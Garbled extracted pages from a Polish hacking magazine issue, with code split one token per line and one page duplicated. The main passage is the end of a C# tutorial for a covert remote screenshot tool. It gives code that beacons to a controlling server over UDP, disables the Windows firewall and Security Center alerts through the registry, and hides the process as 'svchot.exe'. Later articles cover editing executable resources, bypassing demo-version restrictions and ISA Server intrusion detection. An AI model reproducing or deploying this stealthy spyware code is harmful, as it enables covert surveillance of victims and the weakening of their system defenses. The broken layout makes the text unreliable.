lek  do  formy.  Program  ten  powinien 
również uruchamiać się w momencie 
startu systemu. 

Metoda dodająca odpowiedni wpis 

do  rejestru  systemowego,  który  za-
pewni  automatyczne  uruchamianie 
aplikacji,  została  już  zaprezentowana 
w  artykule  C#.NET.  Podsłuchiwanie 
klawiatury
, hakin9 1/2008. Sam proces 
można w prosty sposób ukryć poprzez 
nazwanie  programu  np.  svchot.exe
Program  można  również  spróbować 
uruchomić w trybie usługi. 

Pozostaje  jeszcze  jedna,  ważna 

kwestia:  reakcja  firewalla  zainstalo-
wanego w systemie na próbę stworze-
nia serwera, a co za tym idzie otwarcia 
portu  i  nasłuchiwania  na  nim.  Ponie-

waż jest to bardzo szeroki temat, do-
bry na osobny artykuł, skupimy się je-
dynie na firewallu systemowym, który 
jest używany przez bardzo wielu użyt-
kowników.  Aby  go  wyłączyć  wystar-
czy  zmienić  wartość 

EnableFirewall

 

znajdującą  się  w  kluczu  o  nazwie 

H K E Y _ L O C A L _ M A C H I N E \ S YST E M \
ControlSet001\Services\SharedAccess\
P a r a m e t e r s \ F i r e w a l l P o l i c y \
StandardProfile 

z

  dword:00000001 

na

 

dword:00000000

.  Centrum  Zabezpie-

czeń,  które  obecne  jest  od  premiery 
poprawki SP2, może wyświetlać mo-
nity  o  wyłączeniu  firewalla.  Aby  za-
mknąć  mu  usta,  wystarczy  zmienić 
wartość 

FirewallDisableNotify

,  która 

znajduje  się  w  kluczu 

HKEY _ LOCAL _

MACHINE\SOFTWARE\Microsoft\Security 

Listing 5. 

Wysyłanie danych za pomocą protokołu UDP 

private

 

void

 

SendMessageUDP

(

string

 

msg

)

        

{

            

UdpClient

 

client

 

=

 

new

 

UdpClient

(

serverIP

.

ToString

()

43210

);

            

byte

[]

 

b

 

=

 

Encoding

.

ASCII

.

GetBytes

(

msg

);

            

client

.

Send

(

b

b

.

Length

);

            

client

.

Close

();

        

}

Listing 6. 

Metody zdarzeniowe Load oraz FormClosing

private

 

void

 

Form1_Load

(

object

 

sender

EventArgs

 

e

)

        

{

            

SendMessageUDP

(

localIP

 

+

 

":HI"

);

        

}

private

 

void

 

Form1_FormClosing

(

object

 

sender

FormClosingEventArgs

 

e

)

        

{

            

SendMessageUDP

(

localIP

 

+

 

":BYE"

);

        

}

Listing 7. 

Wyłączenie systemowego firewalla

private

 

void

 

firewallDisable

()

        

{

            

const

 

string

 

keyname1

 

=

 

"SYSTEM

\\

ControlSet001

\\

Services

\

\

SharedAccess

\\

Parameters

\\

FirewallPolicy

\\

StandardProfile"

;

            

const

 

string

 

keyname2

 

=

 

"SOFTWARE

\\

Microsoft

\\

Security Center"

;

            

try

            

{

                

Microsoft

.

Win32

.

RegistryKey

 

rg1

 

=

 

Microsoft

.

Win32

.

Registry

.

L

ocalMachine

.

OpenSubKey

(

keyname1

true

);

                

rg1

.

SetValue

(

"EnableFirewall"

0

);

                

rg1

.

Close

();

                

Microsoft

.

Win32

.

RegistryKey

 

rg2

 

=

 

Microsoft

.

Win32

.

Registry

.

L

ocalMachine

.

OpenSubKey

(

keyname2

true

);

                

rg2

.

SetValue

(

"FirewallDisableNotify"

1

);

                

rg2

.

Close

();

            

}

            

catch

 

{}

        

}

background image

hakin9 Nr 2/2008

www.hakin9.org

Atak

34

Center

.  Odpowiedni  kod  realizujący 

te  zadania  przedstawiony  został  na 
Listingu  7.  Jego  wywołanie  najlepiej 
umieścić w konstruktorze klasy 

Form1

 

lub w metodzie zdarzeniowej dla zda-
rzenia 

Load

 formy. Sam sposób prze-

prowadzania operacji na rejestrze zo-
stał również opisany w cytowanym po-
wyżej artykule.

Próba  modyfikacji  rejestru  nie 

uda się, jeśli nie mamy odpowiednich 
praw.  Jednak  ilu  jest  użytkowników 
systemu Windows, którzy na co dzień 
korzystają z konta o prawach admini-
stratora? Można również zmienić ten 
program  tak,  aby  udawał  jakąś  inną 
aplikację.  W  ten  sposób  użytkownik 
może  zignorować  ewentualne  moni-
ty pochodzące od firewalla i pozwolić 
na  komunikację  sieciową.  Programy 
antywirusowe  nie  powinny  zgłaszać 
zagrożenia  podczas  działania  klien-
ta (jak i w trakcie skanowania jego pli-
ku wykonywalnego), ponieważ jest to 
standardowa aplikacja.

Pora stworzyć serwer

Rozpoczynamy  kolejny  projekt  Win-
dows  Forms
,  który  będzie  serwe-
rem  dla  napisanego  przed  chwi-
lą  klienta.  Na  początek  zbuduje-
my  interfejs  graficzny  użytkownika. 
W  tym celu do projektu dodajemy kon-
trolkę 

pictureBox1

,  na  której  będzie-

my wyświetlać pobrany zrzut ekranu. 
Na  formę  wrzucamy  również  kontro-
lkę 

listBox1

,  przeznaczoną  do  prze-

chowywania  listy  wszystkich  aktyw-
nych klientów. Dodajemy jeszcze pole 
edycyjne 

textBox1

, które będzie prze-

chowywać adres IP serwera oraz po-
le 

numericUpDown1

,  które  posłuży  do 

wyboru  portu.  Na  koniec  dodajemy 
przycisk 

button1

  –  będzie  on  inicjo-

wał  zdalny  zrzut  ekranu.  Nasz  ser-
wer,  podobnie  jak  klient,  będzie  ob-
sługiwał połączenia w osobnych wąt-
kach.  Dzięki  temu  interfejs  użytkow-
nika  będzie  stale  dostępny.  Założyli-
śmy  sobie  na  początku,  że  informa-
cje  o  aktywnych  klientach  przesyłać 
będziemy przy użyciu protokołu UDP. 
Oczekiwanie na zgłoszenia od klien-
tów  zrealizujemy  w  osobnym  wątku. 
Do  jego  obsługi  dodajemy  kompo-
nent 

backgroundWorker1

.  Zanim  opro-

gramujemy jego metodę 

DoWork

, musi-

Listing 8. 

Bezpieczne odwoływanie się do kontrolek formy z poziomu 

innego wątku

delegate

 

void

 

SetTextCallBack

(

string

 

tekst

);

        

private

 

void

 

SetText

(

string

 

tekst

)

{

    

if

 

(

listBox1

.

InvokeRequired

)

    

{

        

SetTextCallBack

 

f

 

=

 

new

 

SetTextCallBack

(

SetText

);

        

this

.

Invoke

(

f

new

 

object

[]

 

{

 

tekst

 

}

);

    

}

    

else

    

{

        

this

.

listBox1

.

Items

.

Add

(

tekst

);

    

}

}

delegate

 

void

 

RemoveTextCallBack

(

int

 

pozycja

);

        

private

 

void

 

RemoveText

(

int

 

pozycja

)

{

    

if

 

(

listBox1

.

InvokeRequired

)

    

{

        

RemoveTextCallBack

 

f

 

=

 

new

 

RemoveTextCallBack

(

RemoveText

);

        

this

.

Invoke

(

f

new

 

object

[]

 

{

 

pozycja

 

      

}

);

    

}

    

else

    

{

        

listBox1

.

Items

.

RemoveAt

(

pozycja

);

    

}

}

Listing 9. 

Metoda konstruująca listę aktywnych klientów

private

 

void

 

backgroundWorker1_DoWork

(

object

 

sender

DoWorkEventArgs

 

e

)

        

{

            

IPEndPoint

 

hostIP

 

=

 

new

 

IPEndPoint

(

IPAddress

.

Any

0

);

            

UdpClient

 

client

 

=

 

new

 

UdpClient

(

43210

);

            

while

 

(

true

)

            

{

                

Byte

[]

 

b

 

=

 

client

.

Receive

(

ref

 

hostIP

);

                

string

 

data

 

=

 

Encoding

.

ASCII

.

GetString

(

b

);

                

string

[]

 

cmd

 

=

 

data

.

Split

(

new

 

char

[]

 

{

 ':' 

}

);

                

if

 

(

cmd

[

1

]

 

==

 

"HI"

)

                

{

                    

foreach

(

string

 

s

 

in

 

listBox1

.

Items

)

                        

if

 

(

s

 

==

 

cmd

[

0

])

                        

{

                            

MessageBox

.

Show

(

"Próba nawiązania połączenia z "

 

+

 

cmd

[

0

]

 

+

 

" odrzucona ponieważ na liście istnieje już 

taki wpis"

);

                            

return

;

                        

}

                    

this

.

SetText

(

cmd

[

0

]);

                

}

                

if

 

(

cmd

[

1

]

 

==

 

"BYE"

)

                

{

                    

for

 

(

int

 

i

 

=

 

0

;

 

i

 

<

 

listBox1

.

Items

.

Count

;

 

i

++)

                        

if

 

(

listBox1

.

Items

[

i

]

.

ToString

()

 

==

 

cmd

[

0

])

                            

this

.

RemoveText

(

i

);

                

}

                    
            

}

        

}

background image

Podglądanie pulpitu

hakin9 Nr 2/2008

35

my jeszcze stworzyć dwie metody po-
mocnicze, za pomocą których będzie-
my odwoływać się do kontrolek formy 
z poziomu innego wątku.

Odwoływanie się 

do kontrolek formy

Wątek  związany  z  komponentem 

backgroundWorker1

  będzie  potrzebo-

wał  dostępu  do  kontrolek  znajdują-
cych się na formie serwera, które zo-
stały  stworzone  w  wątku  głównym 
aplikacji. Bezpośrednia próba odwo-
łania się do tych kontrolek z poziomu 
innego  wątku  może  zakończyć  się 
dla  naszej  aplikacji  błędem,  ponie-
waż do tej samej kontrolki może jed-
nocześnie  odwoływać  się  inny  wą-
tek (np. główny). Musimy więc stwo-
rzyć mechanizm, który umożliwi nam 
zmianę wpisów w kontrolce 

listBox1

Skorzystamy z mechanizmu delega-
cji oraz metody 

Invoke

, która wykona 

skonstruowaną przez nas delegację 
w  wątku,  w  którym  kontrolki  zosta-
ły utworzone. Potrzebujemy metody 
dodającej wpis do listy 

ListBox1

 oraz 

metody  usuwającej  wpis  z  tej  listy. 
Na  Listingu  8  zamieszczony  został 
kod metod 

SetText

 oraz 

RemoveText

które służą właśnie do tych celów. 

Lista aktywnych 

klientów

Po  utworzeniu  metod  umożliwiają-
cych  bezpieczne  odwoływanie  się 
do kontrolek znajdujących się na for-
mie  z  poziomu  innego  wątku,  może-
my przystąpić do konstruowania listy 
aktywnych  klientów.  Przypominam, 
że  klient  w  momencie  uruchomie-
nia  oraz  wyłączenia  wysyła  komuni-
kat UDP do serwera o treści 

adresIP:

komunikat

. Po stronie serwera musimy 

ten komunikat odczytać i dodać odpo-
wiedni wpis do kontrolki 

listBox1

 (lub 

usunąć  go  z  niej).  Niech  serwer  na-
słuchuje  na  porcie  43210.  Dla  kom-
ponentu 

backgroundWorker1

  tworzy-

my metodę 

DoWork

 (Listing 9). Do kon-

struktora klasy 

UdpClient

 przekazuje-

my numer portu i za pomocą metody 

Receive

  odczytujemy  dane,  jakie  wy-

słał nam klient. Metoda ta jako para-
metr  przyjmuje  referencję  adresu  IP 
hosta wysyłającego dane, zwraca na-
tomiast dane w postaci tablicy danych 

background image

hakin9 Nr 2/2008

www.hakin9.org

Atak

36

typu  byte.  Metoda  Split  klasy  String 
umożliwia rozdzielenie ciągu znaków 
ze względu na konkretny znak sepa-
ratora  –  w  naszym  przypadku  jest 
to  dwukropek.  Jeżeli  po  adresie  IP 
w  otrzymanym  komunikacje  odczy-
tamy  ciąg  HI,  wówczas  dopisujemy 
do listy 

listBox1

 adres IP klienta. Je-

żeli  treścią  komunikatu  będzie 

BYE

to usuwamy ten adres z listy.

Pobieranie 

zrzutu ekranu

Pobieranie  zrzutu  ekranu  zrealizu-
jemy  w  osobnym  wątku.  W  tym  ce-
lu  do  projektu  dodajemy  komponent 

backgroundWorker2

, który będzie odpo-

wiedzialny za oczekiwanie na nadcho-
dzący od klienta zrzut oraz jego pobra-
nie.  Na  początek  tworzymy  metodę 
zdarzeniową 

Click

  kontrolki 

button1

Będzie  ona  odczytywała  adres  IP 
klienta, który zaznaczony jest na liście 

listBox1

, wysyłała komendę 

##shot##

 

oraz  uruchamiała  wątek  związany 

z  komponentem 

backgroundWorker2

 

(Listing  10).  Tradycyjnie  do  przesła-
nia komendy do klienta użyjemy klasy 

TcpClient

  oraz  strumienia  sieciowe-

go. Dodatkowy wątek może być uru-
chomiony jedynie wtedy, kiedy nie jest 
już zajęty odbieraniem innego zrzutu 
ekranu. Możemy to sprawdzić za po-
mocą  własności 

IsBusy

.  W  kolejnym 

kroku  tworzymy  metodę  zdarzenio-
wą DoWork dla komponentu backgro-
undWorker2.  Tworzymy  tam  egzem-
plarz  klasy 

TcpListener

,  który  ocze-

kuje  na  zrzut  ekranu.  Podobnie,  jak 
w przypadku klienta (Listing 3), musimy 
wykonać kilka standardowych kroków. 
Po  pierwsze,  do  konstruktora  kla-
sy  przekazujemy  adres  IP  oraz  nu-
mer  portu,  na  jakim  ma  działać 
uruchomiony  serwer  (np.  1978). 
Następnie 

wywołujemy 

metodę 

Start

  w  celu  inicjalizacji  serwera. 

W  kolejnym  kroku  używamy  metody 

AcceptTcpClient

,  która  zwraca  nam 

obiekt  klasy 

TcpClient

.  Posłuży  nam 

on  następnie  do  stworzenia  strumie-
nia  sieciowego,  z  którego  możemy 
odczytać już dane. Otrzymany obraz 
wrzucamy  do  kontrolki 

pictureBox1

W ten sposób serwer został stworzony 
i uruchomiony. Można go oczywiście 
rozszerzyć o kolejne funkcje, takie jak 
zapisywanie zrzutów ekranu do pliku 
itd. Pozostawiam to Czytelnikowi.

Podsumowanie

W  powyższym  artykule  starałem  się 
przekazać jak najwięcej podstaw do-
tyczących programowania sieciowego 
na platformie .NET przy użyciu proto-
kołów TCP i UDP. Dane, które przesy-
ła się przez sieć, bez względu na ich 
źródło  zamieniamy  na  tablicę  bajtów 
i za pomocą strumieni sieciowych od-
czytujemy bądź zapisujemy. Projekty 
stworzone w tym artykule mogą sta-
nowić podstawę dla bardziej rozbudo-
wanych aplikacji.  l

O autorze

Sławomir Orłowski – doktorant na Wydziale Fizyki, Astronomii i Informatyki Stosowa-
nej UMK w Toruniu. Zajmuje się dynamiką molekularną oraz bioinformatyką. Ma do-
świadczenie w programowaniu w językach C++, Delphi, Fortran, Java i Tcl. Strona do-
mowa: http://www.fizyka.umk.pl/~bigman. Kontakt z autorem: bigman@fizyka.umk.pl

Listing 10. 

Pobieranie zrzutu ekranu w osobnym wątku

private

 

void

 

button1_Click

(

object

 

sender

EventArgs

 

e

)

        

{

            

if

 

(

listBox1

.

SelectedIndex

 

==

 

-

1

)

                

return

;

            

try

            

{

                

TcpClient

 

client

 

=

 

new

 

TcpClient

(

listBox1

.

Items

[

listBox1

.

Sel

ectedIndex

]

.

ToString

()

1978

);

                

NetworkStream

 

ns

 

=

 

client

.

GetStream

();

                

byte

[]

 

b

 

=

 

new

 

byte

[

8

];

                

b

 

=

 

Encoding

.

ASCII

.

GetBytes

(

"##shot##"

);

                

ns

.

Write

(

b

0

b

.

Length

);

                

if

 

(

backgroundWorker2

.

IsBusy

 

==

 

false

)

                    

backgroundWorker2

.

RunWorkerAsync

();

                

else

                    

MessageBox

.

Show

(

"Nie można teraz zrealizować zrzutu 

ekranu"

);

            

}

            

catch

            

{

                

MessageBox

.

Show

(

"Błąd: Nie można nawiązać połączenia"

);

            

}

      

        

}

private

 

void

 

backgroundWorker2_DoWork

(

object

 

sender

DoWorkEventArgs

 

e

)

        

{

            

TcpListener

 

server2

 

=

 

new

 

TcpListener

(

IPAddress

.

Parse

(

textBox1

.

T

ext

)

(

int

)

numericUpDown1

.

Value

);

            

server2

.

Start

();

            

TcpClient

 

client2

 

=

 

server2

.

AcceptTcpClient

();

            

NetworkStream

 

ns

 

=

 

client2

.

GetStream

();

            

byte

[]

 

imageByte

;

            

using

 

(

BinaryReader

 

br

 

=

 

new

 

BinaryReader

(

ns

))

            

{

                

int

 

imageSize

 

=

 

br

.

ReadInt32

();

                

imageByte

 

=

 

br

.

ReadBytes

(

imageSize

);

            

}

            

using

 

(

MemoryStream

 

ms

 

=

 

new

 

MemoryStream

(

imageByte

))

            

{

                

Image

 

img

 

=

 

Image

.

FromStream

(

ms

);

                

pictureBox1

.

Image

 

=

 

img

;

            

}

            

server2

.

Stop

();

        

}

background image
background image

www.hakin9.org

hakin9 Nr 2/2008

38

Atak

plikach  wykonywalnych  znajdują 
się  instrukcje  dla  procesora,  dane 
(np. wartości tablic) i zasoby. Zaso-

bami mogą być następujące rzeczy:

•   bitmapy (np. logo programu),
•   ikony  (prawie  każdy  plik  wykonywalny  po-

siada swoją ikonę; program może posiadać 
kilka ikon),

•   niestandardowe kursory myszy,
•   dłuższe łańcuchy znaków,
•   okna dialogowe,
•   menu,
•   informacje o skrótach klawiaturowych,
•   szczegółowe informacje o pliku (nazwa fir-

my, nazwa programu, wersja programu, in-
formacje o licencji, informacja o wersji języ-
kowej programu).

Edycja  zasobów  to  bardzo  ciekawe  zagad-
nienie. Po pierwsze: można zmienić wygląd 
ulubionego  programu  (np.  podmienić  grafi-
ki,  pozmieniać  wygląd  formularzy  i  menu, 
a  także  zmienić  skróty  klawiaturowe).  Dru-
gie interesujące zastosowanie to możliwość 
wyciągnięcia np. ikon lub grafik z dowolnego 
pliku wykonywalnego.

Niestety, nie wszystkie pliki wykonywalne posia-
dają sporo zasobów. Przykładowo, kiedy napi-
szemy program w języku Visual Basic, zobaczy-
my, że formularze, menu i bitmapy nie są zapisy-
wane jako zasoby – możliwości edycyjne takich 
plików wykonywalnych są więc mniejsze.

Uwaga!  Przed  edycją  jakiegokolwiek  pliku 

wykonaj jego kopię zapasową!
Zanim  zaczniesz  edytować  pliki,  musisz  się 
upewnić,  czy  nie  są  skompresowane,  gdyż 
w  skompresowanych  plikach  EXE  zazwyczaj 

Edycja zasobów w plikach 

wykonywalnych

Damian Daszkiewicz

stopień trudności

W artykule Luki w plikach wykonywalnych (hakin9 11/2007) 

opisano, w jaki sposób modyfikować pliki wykonywalne 

za pomocą edytora plików binarnych. Jednak taki edytor nie 

pozwala na edytowanie bitmap, kursorów ani okien dialogowych. 

Z pomocą przychodzą programy pozwalające edytować zasoby 

w plikach wykonywalnych.

Z artykułu dowiesz się

•   jak przeglądać, eksportować i edytować zasoby 

w plikach wykonywalnych,

•   jak zmieniać właściwości kontrolek w urucho-

mionych programach,

•   jak zabezpieczyć się przed grzebaniem w pli-

kach wykonywalnych.

Co powinieneś wiedzieć

•   znać podstawy dowolnego języka programowa-

nia,

•   znać podstawy WinAPI.

background image

Edycja zasobów w plikach wykonywalnych

hakin9 Nr 2/2008

www.hakin9.org

39

zasoby są spakowane. Jeśli plik jest 
skompresowany, to należy go rozpa-
kować.  Najpopularniejszym  progra-
mem  do  kompresji  plików  wykony-
walnych jest darmowy program UPX. 
Aby rozpakować dany plik, skompre-
sowany  programem  UPX,  należy 
z linii komend wpisać polecenie 

upx 

<nazwa pliku> -d

Przegląd zasobów za 

pomocą Resource Hacker

Aplikacja Resource Hacker to najpo-
pularniejszy  program  do  przegląda-
nia i edytowania zasobów znajdują-
cych  się  w  plikach  wykonywalnych. 
Resource Hacker obsługuje 32-bito-
we pliki wykonywalne przeznaczone 
dla systemu operacyjnego Windows 
95  (i  nowszych).  Niestety,  Resour-
ce Hacker nie obsługuje 16-bitowych 
plików wykonywalnych (czyli dla DO-
Sa i Windows 3.x). Jeśli chcesz edy-
tować zasoby w 16-bitowych plikach 
wykonywalnych przeznaczonych dla 
Windows 3.x, musisz zaopatrzyć się 
w program eXeScope, który jest ko-
mercyjny  i  posiada  mniejsze  możli-
wości niż Resource Hacker.

Edycja ikon, kursorów i 

bitmap

Otwórz w programie Resource Hac-
ker  dowolny  plik  wykonywalny.  Wy-
gląd aplikacji przedstawia Rysunek 1.
Po  lewej  stronie  znajduje  się  drze-
wo, w którym są wypisane wszystkie 
zasoby znajdujące się w pliku wyko-
nywalnym,  podzielone  na  kategorie 
według  typów.  Przykładowo  rozwi-
jając gałąź Icon możesz przeglądać 
wszystkie ikony. Jeśli dana ikona się 
Tobie spodoba, to możesz ją wyeks-
portować  do  pliku  w  formacie  ICO 
– w tym celu należy wybrać następu-
jącą  pozycję  z  menu:  Action->Save 
[Icon : 1 : 1045]
 (w zależności od te-

go, jaki plik binarny otworzyłeś i któ-
rą  ikonę  wybrałeś,  liczby  mogą  być 
inne). W podobny sposób można za-
pisać bitmapy i kursory.

Jeśli któraś ikona nie podoba się 

Tobie, możesz ją zmienić. W tym ce-
lu należy z menu wybrać następują-
cą  pozycję:  Action->Replace  Icon
a  następnie  wskazać  na  dysku  do-
wolny plik ICO. 

Edycja menu

Listing  1.  przedstawia  przykładowy 
kod,  w  którym  jest  zapisane  menu. 
Z pozoru edycja menu nie wydaje się 
zbyt  interesująca,  jest  w  niej  jednak 
pewien  niuans.  Otóż  w  prawie  każ-
dej  pozycji  występuje  znak  &.  Znak 
ten oznacza, że następna litera w me-
nu  jest  podkreślona.  Jeśli  w  danym 
programie  w  menu  Edycja  jest  pod-
kreślona litera E, to można owo me-
nu  rozwinąć  naciskając  kombinację 
klawiszy ALT+E. Jest to bardzo przy-
datna  funkcjonalność,  gdyż  bez  po-
trzeby korzystania z myszy można wy-
brać z menu dowolną pozycję. Załóż-
my, że posiadasz program, w którym 
kombinacja  ALT+E  rozwija  inne  me-
nu niż Edycja. Można to zmienić ko-
rzystając z programu Resource Hac-
ker. W tym celu należy w odpowied-
niej pozycji menu przed żądaną literą 
wstawić znak &. Po dokonaniu zmian 
należy  w  programie  Resource  Hac-

ker  kliknąć  przycisk  Compile  Script
Dopiero  ta  czynność  spowoduje  za-
pisanie  naszych  modyfikacji.  W  ten 
sposób  można  w  dowolnej  aplikacji 
ustawić  skróty  klawiaturowe  według 
własnych potrzeb.

Edycja okien dialogowych

Program  Resource  Hacker  pozwa-
la na edytowanie okien dialogowych. 
Po  rozwinięciu  gałęzi  Dialog  można 
przeglądać  i  edytować  okna  dialo-
gowe. Po wybraniu dowolnego okna 
dialogowego  oprócz  kodu,  jaki  jest 
potrzebny do jego stworzenia, pojawi 
się również wygląd owego okna dia-
logowego  (przykład  takiego  podglą-
du przedstawia Rysunek 2). Można w 
dowolny sposób przemieszczać kon-
trolki,  zmieniać  ich  rozmiar  (można 

Listing 1. 

Przykładowe menu zapisane w pliku wykonywalnym

106

 

MENU

LANGUAGE

 

LANG_POLISH

0x1

{

POPUP

 

"&Edycja"

{

   

MENUITEM

 

"&Kopiuj

\t

Ctrl+C"

,  

300

   

MENUITEM

 

"Wkl&ej

\t

Ctrl+V"

,  

301

}

POPUP

 

"&Widok"

{

   

MENUITEM

 

"&Standardowy"

,  

305

   

MENUITEM

 

"&Naukowy"

,  

304

   

MENUITEM

 

SEPARATOR

   

MENUITEM

 

"&Grupowanie cyfr"

,  

303

}

POPUP

 

"Pomo&c"

{

   

MENUITEM

 

"&Tematy Pomocy "

,  

317

   

MENUITEM

 

SEPARATOR

   

MENUITEM

 

"Kalkulator - i&nformacje"

,  

302

}
}

Rysunek 1. 

Wygląd programu 

Resource Hacker

Rysunek 2. 

Przykładowe okno 

dialogowe w Resource Hacker

background image

Edycja zasobów w plikach wykonywalnych

hakin9 Nr 2/2008

www.hakin9.org

41

na  zakładce  Digger  możemy  obej-
rzeć wszystkie aktualnie uruchomio-
ne  okna  dialogowe.  Zakładka  Tree 
pokazuje  zaś  informacje  o  wszyst-
kich  oknach  dialogowych  w  formie 
drzewa – również o tym, z jakich kon-
trolek składa się konkretne okienko.

Jak się przed tym 

bronić?

Pisząc  program  musisz  przewidzieć, 
że  użytkownicy  mogą  edytować  za-
soby  w  pliku  wykonywalnym.  Jeśli 
chcesz  się  przed  tym  obronić,  pole-
cam skompresowanie pliku dowolnym 
programem (najlepiej jakimś mniej po-

pularnym,  wtedy  utrudnione  będzie 
znalezienie  programu  do  dekompre-
sji).  Ewentualnie  można  skorzystać 
z płatnego programu AsProtect.

Jeśli  napisałeś  program,  który 

w wersji demonstracyjnej różni się od 
pełnej wersji tym, że przycisk do za-
pisania  projektu  stworzonego  przez 
użytkownika  jest  nieaktywny,  musisz 
przemyśleć jakiś mechanizm ochrony 
przed  programem  WinDowse.  Przy-
kładowo  sprawdzenie  faktu  rejestra-
cji  programu  podczas  uruchamiania 
i  późniejsza  deaktywacja  przycisku 
Zapisz  projekt  jeśli  aplikacja  nie  jest 
zarejestrowana,  nie  będzie  w  tym 
wypadku  wystarczające.  Dodatkowa 
kontrola powinna mieć miejsce w mo-
mencie, gdy użytkownik kliknie przy-
cisk  Zapisz  projekt  –  kiedy  program 
jest  w  wersji  demonstracyjnej,  powi-
nien  pojawić  się  komunikat,  że  dana 
opcja jest dostępna tylko w wersji za-
rejestrowanej.

Podsumowanie

Edytując pliki wykonywalne za pomo-
cą programu Resource Hacker, moż-

na się dowiedzieć wielu interesujących 
rzeczy związanych z ich budową. Na-
byte  umiejętności  mogą  się  przydać 
podczas pisania własnych programów 
np. w MASMie lub w Visual C++. Nato-
miast program WinDowse pozwoli do-
wiedzieć się, w jaki sposób okna dia-
logowe i kontrolki są traktowane przez 
system operacyjny. l

O autorze

Damian Daszkiewicz jest samoukiem 
od wielu lat interesującym się informa-
tyką  i  e-biznesem.  Obecnie  studiuje 
na Politechnice Rzeszowskiej na kie-
runku  Informatyka.  W  roku  2003  wy-
dawnictwo Helion wydało jego książ-
kę:  Vademecum  hakera.  Edycja  pli-
ków binarnych. Kontakt z autorem: 
damian@daszkiewicz.net.

Rysunek 4. 

Program WinDowse 

R

E

K

L

A

M

A

background image

Edycja zasobów w plikach wykonywalnych

hakin9 Nr 2/2008

www.hakin9.org

41

na  zakładce  Digger  możemy  obej-
rzeć wszystkie aktualnie uruchomio-
ne  okna  dialogowe.  Zakładka  Tree 
pokazuje  zaś  informacje  o  wszyst-
kich  oknach  dialogowych  w  formie 
drzewa – również o tym, z jakich kon-
trolek składa się konkretne okienko.

Jak się przed tym 

bronić?

Pisząc  program  musisz  przewidzieć, 
że  użytkownicy  mogą  edytować  za-
soby  w  pliku  wykonywalnym.  Jeśli 
chcesz  się  przed  tym  obronić,  pole-
cam skompresowanie pliku dowolnym 
programem (najlepiej jakimś mniej po-

pularnym,  wtedy  utrudnione  będzie 
znalezienie  programu  do  dekompre-
sji).  Ewentualnie  można  skorzystać 
z płatnego programu AsProtect.

Jeśli  napisałeś  program,  który 

w wersji demonstracyjnej różni się od 
pełnej wersji tym, że przycisk do za-
pisania  projektu  stworzonego  przez 
użytkownika  jest  nieaktywny,  musisz 
przemyśleć jakiś mechanizm ochrony 
przed  programem  WinDowse.  Przy-
kładowo  sprawdzenie  faktu  rejestra-
cji  programu  podczas  uruchamiania 
i  późniejsza  deaktywacja  przycisku 
Zapisz  projekt  jeśli  aplikacja  nie  jest 
zarejestrowana,  nie  będzie  w  tym 
wypadku  wystarczające.  Dodatkowa 
kontrola powinna mieć miejsce w mo-
mencie, gdy użytkownik kliknie przy-
cisk  Zapisz  projekt  –  kiedy  program 
jest  w  wersji  demonstracyjnej,  powi-
nien  pojawić  się  komunikat,  że  dana 
opcja jest dostępna tylko w wersji za-
rejestrowanej.

Podsumowanie

Edytując pliki wykonywalne za pomo-
cą programu Resource Hacker, moż-

na się dowiedzieć wielu interesujących 
rzeczy związanych z ich budową. Na-
byte  umiejętności  mogą  się  przydać 
podczas pisania własnych programów 
np. w MASMie lub w Visual C++. Nato-
miast program WinDowse pozwoli do-
wiedzieć się, w jaki sposób okna dia-
logowe i kontrolki są traktowane przez 
system operacyjny. l

O autorze

Damian Daszkiewicz jest samoukiem 
od wielu lat interesującym się informa-
tyką  i  e-biznesem.  Obecnie  studiuje 
na Politechnice Rzeszowskiej na kie-
runku  Informatyka.  W  roku  2003  wy-
dawnictwo Helion wydało jego książ-
kę:  Vademecum  hakera.  Edycja  pli-
ków binarnych. Kontakt z autorem: 
damian@daszkiewicz.net.

Rysunek 4. 

Program WinDowse 

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 2/2008

42

Obrona

S

ystemy  wykrywania  włamań  (ang.  In-
trusion  Detection  Systems
)  wspoma-
gają  monitorowanie  naruszeń  bezpie-

czeństwa. Zwykle stosuje się je wraz z zapora-
mi sieciowymi. Ich działanie opiera się w głów-
nej  mierze  na  wykrywaniu  nieprawidłowości 
zarówno  w  sieci,  jak  i  na  pojedynczych  kom-
puterach.

System  IDS  często  zlokalizowany  jest  w 

miejscu,  gdzie  generowany  jest  największy 
ruch  sieciowy  lub  też  na  komputerze,  któ-
ry  przechowuje  ważne  dane.  Celem  syste-
mów  IDS  jest  identyfikacja  działań  zagra-
żających bezpieczeństwu sieci, a co za tym 
idzie – systemów i przetwarzanych przez nie 
danych. Za zdarzenia, które powinien wykryć 
IDS,  uważa  się  zarówno  przygotowania  do 
włamania (np. skanowanie portów, weryfika-
cja istnienia krytycznych aplikacji), jak i pró-
by ataku, także nieudane. Wykrywanie naru-
szeń realizowane jest przez tzw. sondy (sen-
sory), które zbierają informacje o stanie sieci 
i poszczególnych komputerach. Sondy to nic 
innego,  jak  dedykowane  rozwiązania  sprzę-
towe  lub  programowe,  monitorujące  sieć 
(ang.  Network–based  Intrusion  Detection 
System
)  lub  komputer  (ang.  Host–based  In-

trusion Detection System). Obecne technolo-
gie pozwalają na połączenie systemów NIDS 
i  HIDS  w  system  hybrydowy,  który  posiada 
odrębny moduł zarządzania sondami. Należy 
nadmienić, że umiejscowienie w sieci syste-

Nowa generacja IDS, czyli 

ISA Server 2006 w testach

Paulina Januszkiewicz

stopień trudności

Dedykowane systemy wykrywania włamań są w stanie 

– w większości przypadków – rozpoznać atak w sposób 

kontekstowy, czyli poprzez buforowanie pakietów, które stają się 

niebezpieczne dopiero, kiedy utworzą określoną grupę. Microsoft 

ISA Server 2006 ma dość ograniczony moduł wykrywania takich 

zachowań, jednak niezależnie od tego posiada rozbudowany 

moduł filtrowania pakietów, co w efekcie uniemożliwia atak.

Z artykułu dowiesz się

•   w jaki sposób ISA Server reaguje na poszcze-

gólne zagrożenia

•   w  jaki  sposób  administrator  informowany  jest 

o wystąpieniu zdarzeń

•   czy ISA Server 2006 sprawdza się jako system 

wykrywania włamań

•   w jaki sposób ISA Server reaguje na anomalia 

ruchu sieciowego

Co powienenieś wiedzieć

•   model OSI/ISO
•   przyporządkowanie  protokołów  komunikacyj-

nych do warstw modelu OSI/ISO

•   zasady  działania  systemów  wykrywania  wła-

mań

•   na czym polegają ataki wymienione w artykule
•   znać  różnicę  pomiędzy  systemem  firewall 

a systemem wykrywania włamań

background image

ISA 2006 jako IDS/IPS?

hakin9 Nr 2/2008

www.hakin9.org

43

mów HIDS i NNIDS nie jest kłopo-
tliwe, gdyż znajdują się one na wy-
branych  maszynach,  wybór  lokacji 
